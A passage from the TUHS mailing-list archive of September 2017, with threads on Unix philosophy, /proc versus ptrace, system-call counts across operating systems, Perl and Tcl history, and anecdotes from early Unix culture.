 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
Message-ID: <CAEoi9W7Jz7qk0YBt6NpKFea2qxTrX67LLm-K-4U7rEC78iUoyg@mail.gmail.com>

On Sun, Sep 24, 2017 at 7:36 PM, Dave Horsfall <dave at horsfall.org> wrote:
> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
>> There are just a few potential users of /proc and they were already using
>> other facilities. plus /proc is an optional facility. All this conspired to
>> make /proc less useful in FreeBSD. Unused code is in danger of being garbage
>> collected in FreeBSD :-)
>
>
> Whatever happened to the Unix philosophy of everything looking like a file?
> Adding more system calls is the Windoze (or perhaps Penguin) way of doing
> things.

This is an interesting point (and I think TUHS relevant): I've long
held that the powers-that-be in what has become the "Unix" world have
no more than a cursory interest in the Unix philosophy.

The reasons for this are many. Part of it is lack of exposure to any
other way of doing things (in particular, lack of exposure to a
canonically Unix way of doing things). I've lost track of the number
of people I've tried to show Plan 9-ish ways of doing things to and
the pushback I've gotten: "Filesystems?! That'll NEVER work!" "But
look...it's working right here." "Bah. That's just some goof-ball
research toy." Grrr....

Part of it is that the problems have shifted out from underfoot: Unix
was created in a place and at a time where a certain class of problem
was important; it solved those sorts of problems (and did damn well at
doing so). And while many of those problems are still important today,
entirely new classes of problems are also (if not more) important
these days and Unix did not grow to gracefully accommodate those
problems. Maybe those problems shouldn't matter, but they do; oh well.

The irony, of course, is that Unix basically "won". It's just that it
had to stop being Unix to do so. "He who stares into the abyss...."

        - Dan C.



From gtaylor at tnetconsulting.net  Mon Sep 25 10:44:26 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Sun, 24 Sep 2017 18:44:26 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAEoi9W7Jz7qk0YBt6NpKFea2qxTrX67LLm-K-4U7rEC78iUoyg@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CAEoi9W7Jz7qk0YBt6NpKFea2qxTrX67LLm-K-4U7rEC78iUoyg@mail.gmail.com>
Message-ID: <1b129996-f449-b2f8-c48d-e45ce344bbff@tnetconsulting.net>

On 09/24/2017 06:36 PM, Dan Cross wrote:
> "Bah. That's just some goof-ball research toy."

I feel like the same thing was said about Unix at some point very early 
in it's history.



-- 
Grant. . . .
unix || die



From charles.unix.pro at gmail.com  Mon Sep 25 10:51:09 2017
From: charles.unix.pro at gmail.com (Charles Anthony)
Date: Sun, 24 Sep 2017 17:51:09 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
Message-ID: <CANV78LR9TQXzjeac2K6XohG__+jO-bu61UmQDL8EPCYtrcMW-Q@mail.gmail.com>

On Sun, Sep 24, 2017 at 4:50 PM, Steve Nickolas <usotsuki at buric.co> wrote:

> On Mon, 25 Sep 2017, Dave Horsfall wrote:
>
> On Sun, 24 Sep 2017, Bakul Shah wrote:
>>
>> There are just a few potential users of /proc and they were already using
>>> other facilities. plus /proc is an optional facility. All this conspired to
>>> make /proc less useful in FreeBSD. Unused code is in danger of being
>>> garbage collected in FreeBSD :-)
>>>
>>
>> Whatever happened to the Unix philosophy of everything looking like a
>> file? Adding more system calls is the Windoze (or perhaps Penguin) way of
>> doing things.
>>
>>
>>
> I once thought of trying to develop an OS where not only was everything a
> file, but programs were in effect functions that could be chained together.
>
> Then decided it was too radical.
>

You were reinventing Multics.

-- Charles
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/fc0ec93f/attachment.html>

From bakul at bitblocks.com  Mon Sep 25 10:56:46 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Sun, 24 Sep 2017 17:56:46 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: Your message of "Mon, 25 Sep 2017 09:36:44 +1000."
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
Message-ID: <20170925005702.38377156E523@mail.bitblocks.com>

On Mon, 25 Sep 2017 09:36:44 +1000 Dave Horsfall <dave at horsfall.org> wrote:
Dave Horsfall writes:
> On Sun, 24 Sep 2017, Bakul Shah wrote:
> 
> > There are just a few potential users of /proc and they were already 
> > using other facilities. plus /proc is an optional facility. All this 
> > conspired to make /proc less useful in FreeBSD. Unused code is in danger 
> > of being garbage collected in FreeBSD :-)
> 
> Whatever happened to the Unix philosophy of everything looking like a 
> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of 
> doing things.

I am afraid people paid lip service to this but not much
changed in this regard at least in the BSD world.  Look at all
the new things done since V7. devfs came in freeBSD 5.0.
Other filesystems were for files or were added based on what
Linux did. "portal" fs was going to be added but I don't even
remember what the point of it was any more. Unionfs was far
more complicated than in plan9 (more useful but also mainly
for files). VFS itself is too storage file centric.

/proc came in too late and it only helped with processes.
sysctl allowed access to other kernel stuff as well.  ptrace &
grubbing around in kernel memory has existed from much earlier
time.

I think a few changes can make Unix much more plan9 like.
Things like: file descriptors are actually capabilities (or
handles, for short) and each process starts with a set of
handles and it can only reach those resources that its handles
allow. It can also gain new handles via operations on existing
handles. Right here you can see that a process is already
sandboxed. You don't need containers or jails! Next use
plan9's 9p or something like it. The point of "everything is a
file" is to provide a discipline -- as opposed providing an
open ended object or class based system.  Once you do that,
user level fiesystems are a hop, skip and a jump away. But
there would be no point in doing this unless you also revamp a
bunch of system utilities.



From nobozo at gmail.com  Mon Sep 25 12:01:14 2017
From: nobozo at gmail.com (Jon Forrest)
Date: Sun, 24 Sep 2017 19:01:14 -0700
Subject: [TUHS] An Early Unix Group Meeting (funny story)
Message-ID: <bfadd56b-8516-058f-2304-b03df628f493@gmail.com>

I started using Unix in ~1977 at UC Santa Barbara. At some point
around then we decided to host a Unix users meeting in the U-Cen
student union building. We asked the facilities people to prepare
a sign pointing to the meeting room.

Imagine my reaction when I walked into the building and saw
the following sign:

	"Eunuchs Group Meeting - Room 125"

I don't know if any eunuchs actually showed up.

Jon Forrest



From scj at yaccman.com  Mon Sep 25 12:47:31 2017
From: scj at yaccman.com (Steve Johnson)
Date: Sun, 24 Sep 2017 19:47:31 -0700
Subject: [TUHS] An Early Unix Group Meeting (funny story)
In-Reply-To: <bfadd56b-8516-058f-2304-b03df628f493@gmail.com>
Message-ID: <34e7746bd1385f1fc7810aeaff08cd6b4b39c04b@webmail.yaccman.com>

The theory that Unix stood for "Emasculated Multics" has never quite
died...

At one point, a couple of people (I don't remember who) thought it was
funny to answer the phone in the Lab by saying, in a high squeeky
voice, "Unix Room".  They gave it up after a couple of people just
hung up...

Steve

----- Original Message -----
From: "Jon Forrest" <nobozo at gmail.com>
To:<tuhs at minnie.tuhs.org>
Cc:
Sent:Sun, 24 Sep 2017 19:01:14 -0700
Subject:[TUHS] An Early Unix Group Meeting (funny story)

 I started using Unix in ~1977 at UC Santa Barbara. At some point
 around then we decided to host a Unix users meeting in the U-Cen
 student union building. We asked the facilities people to prepare
 a sign pointing to the meeting room.

 Imagine my reaction when I walked into the building and saw
 the following sign:

 "Eunuchs Group Meeting - Room 125"

 I don't know if any eunuchs actually showed up.

 Jon Forrest


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/e7d314af/attachment.html>

From akosela at andykosela.com  Mon Sep 25 17:41:00 2017
From: akosela at andykosela.com (Andy Kosela)
Date: Mon, 25 Sep 2017 09:41:00 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
Message-ID: <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>

On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:

> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
> There are just a few potential users of /proc and they were already using
>> other facilities. plus /proc is an optional facility. All this conspired to
>> make /proc less useful in FreeBSD. Unused code is in danger of being
>> garbage collected in FreeBSD :-)
>>
>
> Whatever happened to the Unix philosophy of everything looking like a
> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of
> doing things.
>

Actually FreeBSD has much more system calls than Linux -- around 540 as
compared to around 300 the last time I looked.

To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system
calls.

And Windoze 7 has more than 700...

--Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/31bb2a8e/attachment.html>

From b4 at gewt.net  Mon Sep 25 17:43:06 2017
From: b4 at gewt.net (Cory Smelosky)
Date: Mon, 25 Sep 2017 00:43:06 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
Message-ID: <FA45D9FC-591F-4A79-B6C5-7E85E992BFC9@gewt.net>

Where does SysVR2 fit in number of syscalls?

I spent time patching them several months ago...

Sent from my iPhone

> On Sep 25, 2017, at 00:41, Andy Kosela <akosela at andykosela.com> wrote:
> 
> 
> 
>> On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:
>> On Sun, 24 Sep 2017, Bakul Shah wrote:
>> 
>>> There are just a few potential users of /proc and they were already using other facilities. plus /proc is an optional facility. All this conspired to make /proc less useful in FreeBSD. Unused code is in danger of being garbage collected in FreeBSD :-)
>> 
>> Whatever happened to the Unix philosophy of everything looking like a file?  Adding more system calls is the Windoze (or perhaps Penguin) way of doing things.
> 
> Actually FreeBSD has much more system calls than Linux -- around 540 as compared to around 300 the last time I looked.
> 
> To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system calls.
> 
> And Windoze 7 has more than 700...
> 
> --Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/5322ee04/attachment.html>

From usotsuki at buric.co  Mon Sep 25 19:58:23 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Mon, 25 Sep 2017 05:58:23 -0400 (EDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
Message-ID: <alpine.BSF.2.02.1709250555160.93615@frieza.hoshinet.org>

On Mon, 25 Sep 2017, Andy Kosela wrote:

> On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:
>
>> On Sun, 24 Sep 2017, Bakul Shah wrote:
>>
>> There are just a few potential users of /proc and they were already using
>>> other facilities. plus /proc is an optional facility. All this conspired to
>>> make /proc less useful in FreeBSD. Unused code is in danger of being
>>> garbage collected in FreeBSD :-)
>>>
>>
>> Whatever happened to the Unix philosophy of everything looking like a
>> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of
>> doing things.
>>
>
> Actually FreeBSD has much more system calls than Linux -- around 540 as
> compared to around 300 the last time I looked.
>
> To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system
> calls.
>
> And Windoze 7 has more than 700...
>
> --Andy
>

If I were designing an OS, only the bare minimum number of system calls 
would be implemented in the kernel (stuff like open, close, seek, read, 
write, and create/kill process) and everything else would be implemented 
in library... I don't know how that would stack up against Unix in the 
day, or *x these days, but I daresay it probably would have fewer system 
calls than MS-DOS 2.0.

-uso.



From akosela at andykosela.com  Mon Sep 25 20:14:32 2017
From: akosela at andykosela.com (Andy Kosela)
Date: Mon, 25 Sep 2017 12:14:32 +0200
Subject: [TUHS]  UNIX of choice these days?
In-Reply-To: <FA45D9FC-591F-4A79-B6C5-7E85E992BFC9@gewt.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
 <FA45D9FC-591F-4A79-B6C5-7E85E992BFC9@gewt.net>
Message-ID: <CALMnNGg3k2=M_ZH0op0LM+TASS0XYb=yF-WqJZcX4Q+Uuv+-FA@mail.gmail.com>

On Monday, September 25, 2017, Cory Smelosky <b4 at gewt.net
<javascript:_e(%7B%7D,'cvml','b4 at gewt.net');>> wrote:

> Where does SysVR2 fit in number of syscalls?
>
> I spent time patching them several months ago...
>
> Sent from my iPhone
>

Not sure about SVR2, but SVR4 had around 120...

--Andy

>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/cc1580e1/attachment.html>

From wangude at gmail.com  Mon Sep 25 20:36:31 2017
From: wangude at gmail.com (Thomas Kellar)
Date: Mon, 25 Sep 2017 06:36:31 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <CADxGGnRfsUJbzrSEA3uSvdB3OCx6pSqA6bOhf8pO-ESnWjXy9w@mail.gmail.com>

Usually Ubuntu server

On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
>
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
>
> This is all in my home office where I do all my personal/professional work.
>
> What do you all use for day-to-day development and general playing around
> with new stuff?
>
> AAK



From dfawcus+lists-tuhs at employees.org  Mon Sep 25 21:14:08 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Mon, 25 Sep 2017 12:14:08 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.02.1709250555160.93615@frieza.hoshinet.org>
References: <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
 <alpine.BSF.2.02.1709250555160.93615@frieza.hoshinet.org>
Message-ID: <20170925111408.GA32953@accordion.employees.org>

On Mon, Sep 25, 2017 at 05:58:23AM -0400, Steve Nickolas wrote:
> 
> If I were designing an OS, only the bare minimum number of system calls 
> would be implemented in the kernel (stuff like open, close, seek, read, 
> write, and create/kill process) and everything else would be implemented 
> in library... I don't know how that would stack up against Unix in the 
> day, or *x these days, but I daresay it probably would have fewer system 
> calls than MS-DOS 2.0.

Not all later developed OS's had loads of calls.

One I used in the 90's (FlexOS) only had 40, having started around 84/85?
with 41 (when known as Concurrent DOS-286).

DF



From ralph at inputplus.co.uk  Mon Sep 25 21:30:17 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Mon, 25 Sep 2017 12:30:17 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <4e62b8b04bb14972d8602909510e20f3bafac7be@webmail.yaccman.com>
References: <4e62b8b04bb14972d8602909510e20f3bafac7be@webmail.yaccman.com>
Message-ID: <20170925113017.E863621385@orac.inputplus.co.uk>

Hi Steve,

The need for speed was prevalent back around the time of Perl and Tcl's
creation.  We could get the work done with sh and awk, but the overhead
of new processes, and moving data between them lots of times, was a
problem for larger workloads.

> Larry's view was that if it was useful and the language didn't already
> have it, toss it in.

Perl placed the best ideas of sed and awk inline in the language, and
Larry's implementation put a lot of effort into speed;  the bytecode
interpreter, the regexp engine, the hash table, ...  The cumulative
effect was very noticeable.

Larry's tossing was quite skilled.  For example, the regexp syntax took
all those previous flavours and gave them some consistency:
meta-characters were punctuation and backslashes escaped them whereas
backslashed letters allowed new things like the \d and \s conveniences.
If he hadn't been a dab hand, well, there lies PHP and its
real_kitchen_sink2().

I read Ousterhout's papers on Tcl and Tk, and tried using Tcl for a
while.  The `everything is a string' became wearing, and the performance
wasn't there for large amounts of data.  Perhaps because it was
considered a glue and you'd link it it with C for the hard bits, but
that was a bit too much effort for scripting that often starts with
something intended to be thrown away.

Yes, Tk's nice, and its Canvas widget with vector objects stood out
against the Athena, Motif, etc., available at the time.  The IDs and
tags were very useful.  Change an attribute of all things with tag T and
it took care of the redraw.  I used it for a digital-circuit simulation
once.

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From andreww591 at gmail.com  Mon Sep 25 21:48:26 2017
From: andreww591 at gmail.com (Andrew Warkentin)
Date: Mon, 25 Sep 2017 05:48:26 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.02.1709250555160.93615@frieza.hoshinet.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <CALMnNGi_sXnbrQ+PHx5v0bHo0ALgpPeBAoNSX2g2y75zbE185A@mail.gmail.com>
 <alpine.BSF.2.02.1709250555160.93615@frieza.hoshinet.org>
Message-ID: <CAD-qYGrFckHBZhNFgs5HFN_FRE-t=petYMJ_hAZdryqC4k-i-w@mail.gmail.com>

On 9/25/17, Steve Nickolas <usotsuki at buric.co> wrote:
>
> If I were designing an OS, only the bare minimum number of system calls
> would be implemented in the kernel (stuff like open, close, seek, read,
> write, and create/kill process) and everything else would be implemented
> in library... I don't know how that would stack up against Unix in the
> day, or *x these days, but I daresay it probably would have fewer system
> calls than MS-DOS 2.0.
>

That's basically the way the OS I'm writing will work. Actually it
will go further than that. It will be microkernel-based, with read,
seek, write, fcntl, and a function for servers to return an error
status (there will also be a "clunk" message type but it will only be
generated by the VFS when the last process closes a file and won't
have a corresponding function) as the only true primitives. There will
be a couple extra variants of read and write that map onto L4 IPC more
closely, although they will interoperate with the traditional
versions. open, close, stat, unlink, fork, _exit, some
pthreads-related functions, and several other (mostly file-related)
functions will appear to be primitives although they will be
implemented as RPC messages over a permanently-open anonymous FD
(connected to the process server, which will implement memory/process
management, the basic VFS, procfs, and a few variants of in-memory
filesystems). All other "system calls" will be implemented on top of
the normal filesystem (signals, security, and process state stuff will
use procfs).



From norman at oclsc.org  Mon Sep 25 22:07:16 2017
From: norman at oclsc.org (Norman Wilson)
Date: Mon, 25 Sep 2017 08:07:16 -0400
Subject: [TUHS] UNIX of choice these days?
Message-ID: <1506341239.18395.for-standards-violators@oclsc.org>

Larry McVoy:
> +1 on what Ron said.  I don't get the rationale for going back to ptrace.
> Anyone know what it is?  Is there a perf issue?

Kurt H Maier:

  The usual rationale presented is that someone can exhaust the fd table
  and then you can't get anything done.  Instead of fixing that problem,
  the popular approach is to add more syscalls, like with getrandom(2).

====

Funny that that rationale isn't extended to its logical
conclusion: get rid of open and creat.  Then nobody needs
to worry about running out of file descriptors ever!

I too am saddened to see such a retrograde step, but perhaps
I'm biased.  When I arrived in 1127, the kernel had /proc but
still had ptrace as well.  Why?  Because no one was brave enough
to wade into sdb and adb.

After a couple of years, I felt brave enough, so I did it.
Once the revised sdb and adb had propagated to all our systems,
I removed the syscall.  I celebrated by physically removing
ptrace(2) from the Eighth Edition manual in the UNIX room: the
manual entry comprised two facing pages, which I glued together.

I can sympathize with FreeBSD excuse someone cited elsewhere,
that nobody used the code so it should go--I'm always in favour
of improving programs by chopping sutff out--but I think the
decision here was backwards.  The proper answer would have been
to teach ps et al to use /proc, not to invent a new complex of
system calls.

I dislike how Linux has tossed information about processes and
other system-related data into the same namespace (and now that
there is /sys as well as /proc, I wonder whether it's time to
divorce them, or even to move /proc into /sys/proc), but the
general direction of moving things into the file system makes
sense.  I have some qualms about adding more and more code to
the kernel that just does string processing (making the kernel
bigger and more complicated, and widening the attack surface
for bad guys), though; maybe most of that stuff belongs not in
the OS proper but in a user-mode program that reads /dev/mem
and presents as a file system.

Norman Wilson
Toronto ON



From doug at cs.dartmouth.edu  Mon Sep 25 22:46:04 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Mon, 25 Sep 2017 08:46:04 -0400
Subject: [TUHS] Unix of choice these days?
Message-ID: <201709251246.v8PCk4n7000870@coolidge.cs.Dartmouth.EDU>


>>  "Bah. That's just some goof-ball research toy."

> I feel like the same thing was said about Unix at some point very early
in it's history.

Amusingly the IT department of AT&T felt that way and commissioned a
Harvard prof, no less, to write a report about why VMS was the way to
go on Vaxen. The hired gun (so much for academic integrity) addressed
the subject almost entirely with meta arguments:

(1) VMS was written by OS professionals; Unix was a lab experiment.

(2) One could count on support from DEC, not from Research. (So
much for USG; as far as i know the author never asked anyone in]
Bell Labs about anything.)

(3) And the real killer: VMS was clearly far advanced, witness 
its shelf of manuals vs the thin Unix volumes that fit in one's
briefcase. Lee McMahon had particular fun with this one in a
rebuttal that unleashed the full power of his Jesuit training
in analytic debate.

Doug



From clemc at ccc.com  Mon Sep 25 23:57:58 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 25 Sep 2017 09:57:58 -0400
Subject: [TUHS] Unix of choice these days?
In-Reply-To: <201709251246.v8PCk4n7000870@coolidge.cs.Dartmouth.EDU>
References: <201709251246.v8PCk4n7000870@coolidge.cs.Dartmouth.EDU>
Message-ID: <CAC20D2MWeLJ5yNkVrvh1Cjd54ojSYNy9emjw=1kmy-HnVLTZHA@mail.gmail.com>

On Mon, Sep 25, 2017 at 8:46 AM, Doug McIlroy <doug at cs.dartmouth.edu> wrote:

>
> Amusingly the IT department of AT&T felt that way

​+1​  thanks Doug -- great smile for a Monday morning.

​"Things are like the are today, then they have ever been before."

I've never quite fully understood this style of behavior by IT folks.
It's a control issue for sure, but when I seen my IT folks as looking at me
and my colleagues as people that can help them, it generally has worked
well.   It's funny, DEC's IT group knew never mess with research or
engineering because KO or GB would come down them.  I think they loved the
Compaq merger because quickly, the IT group 'was in charge' and we got told
to 'bugger off' - did not matter if some one in engineering or research had
invented the idea or technique and they had it configure incorrectly.  They
knew it was supposed to work ;-)

It has gotten outright silly a few times in my life.  Tektronix was great,
and DEC worked well; but I've found IT departments run by 'big iron' (IBM
back in the day, MSFT these days) don't want to listen.  They have 'the
solution' - your square peg will be made to conform.    We only have round
holes, that's all we need so that's all you should also....

